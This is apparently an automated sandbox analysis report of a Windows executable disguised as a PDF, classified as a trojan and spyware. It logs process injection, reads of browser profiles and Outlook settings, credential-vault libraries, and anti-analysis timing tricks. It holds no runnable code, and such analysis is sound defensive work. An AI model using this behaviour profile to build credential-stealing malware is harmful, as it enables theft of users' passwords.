Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CFCF2	3_2_039CFCF2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03989C32	3_2_03989C32
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F81D30	3_2_02F81D30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7AEF0	3_2_02F7AEF0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7CE70	3_2_02F7CE70
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7CC50	3_2_02F7CC50
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7CC47	3_2_02F7CC47
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F85380	3_2_02F85380
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F835C0	3_2_02F835C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F835BB	3_2_02F835BB
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F9BA80	3_2_02F9BA80
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DE2E8	3_2_037DE2E8
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DE79C	3_2_037DE79C
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DE406	3_2_037DE406
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DCB18	3_2_037DCB18
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DD868	3_2_037DD868

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03675130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 036BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 036AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0362B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03687E54 appears 107 times
Source: C:\Windows\SysWOW64\recover.exe	Code function: String function: 03945130 appears 58 times
Source: C:\Windows\SysWOW64\recover.exe	Code function: String function: 0397EA12 appears 86 times
Source: C:\Windows\SysWOW64\recover.exe	Code function: String function: 03957E54 appears 107 times
Source: C:\Windows\SysWOW64\recover.exe	Code function: String function: 0398F290 appears 103 times
Source: C:\Windows\SysWOW64\recover.exe	Code function: String function: 038FB970 appears 262 times
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: String function: 00B00D27 appears 70 times
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: String function: 00AE7F41 appears 35 times
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: String function: 00B08B40 appears 42 times

Source: SC_TR11670000_pdf.exe, 00000000.00000003.1749917266.0000000003AC3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SC_TR11670000_pdf.exe
Source: SC_TR11670000_pdf.exe, 00000000.00000003.1749593747.0000000003C6D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SC_TR11670000_pdf.exe

Source: SC_TR11670000_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@15/11

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B4A2D5 GetLastError,FormatMessageW,

0_2_00B4A2D5

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B38713 AdjustTokenPrivileges,CloseHandle,		0_2_00B38713
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B38CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00B38CC3

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B4B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00B4B59E

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B5F121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00B5F121

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B586D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00B586D0

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE4FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00AE4FE9

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\aut4B44.tmp

Source: SC_TR11670000_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: recover.exe, 00000003.00000003.3092659925.0000000003343000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4204450845.0000000003343000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000003.2108774399.0000000003343000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SC_TR11670000_pdf.exe

ReversingLabs: Detection: 76%

Source: unknown	Process created: C:\Users\user\Desktop\SC_TR11670000_pdf.exe "C:\Users\user\Desktop\SC_TR11670000_pdf.exe"
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SC_TR11670000_pdf.exe"
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Process created: C:\Windows\SysWOW64\recover.exe "C:\Windows\SysWOW64\recover.exe"
Source: C:\Windows\SysWOW64\recover.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SC_TR11670000_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Process created: C:\Windows\SysWOW64\recover.exe "C:\Windows\SysWOW64\recover.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\recover.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\recover.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: SC_TR11670000_pdf.exe

Static file information: File size 1179136 > 1048576

Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SC_TR11670000_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SC_TR11670000_pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: recover.pdb source: svchost.exe, 00000001.00000002.1923423245.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923449435.0000000003019000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000002.4204509034.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oCCZhsVsNwIIN.exe, 00000002.00000000.1840086036.0000000000FBE000.00000002.00000001.01000000.00000004.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4204891761.0000000000FBE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SC_TR11670000_pdf.exe, 00000000.00000003.1748508561.0000000003B40000.00000004.00001000.00020000.00000000.sdmp, SC_TR11670000_pdf.exe, 00000000.00000003.1751290311.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1823259781.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1825302443.0000000003400000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1923376601.0000000003521000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1925879400.0000000003721000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SC_TR11670000_pdf.exe, 00000000.00000003.1748508561.0000000003B40000.00000004.00001000.00020000.00000000.sdmp, SC_TR11670000_pdf.exe, 00000000.00000003.1751290311.00000000039A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1823259781.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923652119.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1825302443.0000000003400000.00000004.00000020.00020000.00000000.sdmp, recover.exe, recover.exe, 00000003.00000003.1923376601.0000000003521000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, recover.exe, 00000003.00000003.1925879400.0000000003721000.00000004.00000020.00020000.00000000.sdmp, recover.exe, 00000003.00000002.4205386992.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: recover.pdbGCTL source: svchost.exe, 00000001.00000002.1923423245.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1923449435.0000000003019000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000002.4204509034.0000000001028000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: recover.exe, 00000003.00000002.4205854920.0000000003EFC000.00000004.10000000.00040000.00000000.sdmp, recover.exe, 00000003.00000002.4204255129.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000027BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2219879934.0000000024C6C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: recover.exe, 00000003.00000002.4205854920.0000000003EFC000.00000004.10000000.00040000.00000000.sdmp, recover.exe, 00000003.00000002.4204255129.00000000032C4000.00000004.00000020.00020000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000002.4205136401.00000000027BC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2219879934.0000000024C6C000.00000004.80000000.00040000.00000000.sdmp

Source: SC_TR11670000_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SC_TR11670000_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SC_TR11670000_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SC_TR11670000_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SC_TR11670000_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B5C304 LoadLibraryA,GetProcAddress,

0_2_00B5C304

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B48719 push FFFFFF8Bh; iretd	0_2_00B4871B
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0E94F push edi; ret	0_2_00B0E951
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0EA68 push esi; ret	0_2_00B0EA6A
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B08B85 push ecx; ret	0_2_00B08B98
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0EC43 push esi; ret	0_2_00B0EC45
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0ED2C push edi; ret	0_2_00B0ED2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004180D3 pushfd ; ret	1_2_004180F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040B0BC push ds; retf	1_2_0040B0BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402146 push 00000048h; retf	1_2_0040212C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402155 push 00000048h; retf	1_2_0040212C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040210D push 00000048h; retf	1_2_0040212C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00419364 push ebp; iretd	1_2_00419366
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041454E push cs; retf	1_2_0041454F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040AD0C push edx; iretd	1_2_0040AD0D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403520 push eax; ret	1_2_00403522
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411DBB push ss; retf	1_2_00411EBC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00411EAE push ss; retf	1_2_00411EBC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0360225F pushad ; ret	1_2_036027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036027FA pushad ; ret	1_2_036027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036309AD push ecx; mov dword ptr [esp], ecx	1_2_036309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0360283D push eax; iretd	1_2_03602858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0360135F push eax; iretd	1_2_03601369
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038D225F pushad ; ret	3_2_038D27F9
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038D27FA pushad ; ret	3_2_038D27F9
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039009AD push ecx; mov dword ptr [esp], ecx	3_2_039009B6
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038D283D push eax; iretd	3_2_038D2858
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F824A1 push ss; iretd	3_2_02F824A2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F84A70 pushfd ; ret	3_2_02F84BCD
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F84B73 pushfd ; ret	3_2_02F84BCD
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7E898 push ss; retf	3_2_02F7E999
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F7E98B push ss; retf	3_2_02F7E999

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AE4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00AE4A35
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B655FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00B655FD

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B033C7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B033C7

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	API/Special instruction interceptor: Address: 1C531F4
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\recover.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0367096E rdtsc

1_2_0367096E

Source: C:\Windows\SysWOW64\recover.exe	Window / User API: threadDelayed 3023			Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Window / User API: threadDelayed 6949			Jump to behavior

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-99152

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	API coverage: 4.8 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\recover.exe	API coverage: 2.9 %

Source: C:\Windows\SysWOW64\recover.exe TID: 1196	Thread sleep count: 3023 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe TID: 1196	Thread sleep time: -6046000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe TID: 1196	Thread sleep count: 6949 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe TID: 1196	Thread sleep time: -13898000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe TID: 5304	Thread sleep time: -105000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe TID: 5304	Thread sleep time: -43500s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B44696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00B44696
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00B4C9C7
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4C93C FindFirstFileW,FindClose,	0_2_00B4C93C
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00B4F200
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00B4F35D
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B4F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00B4F65E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B43A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00B43A2B
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B43D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00B43D4E
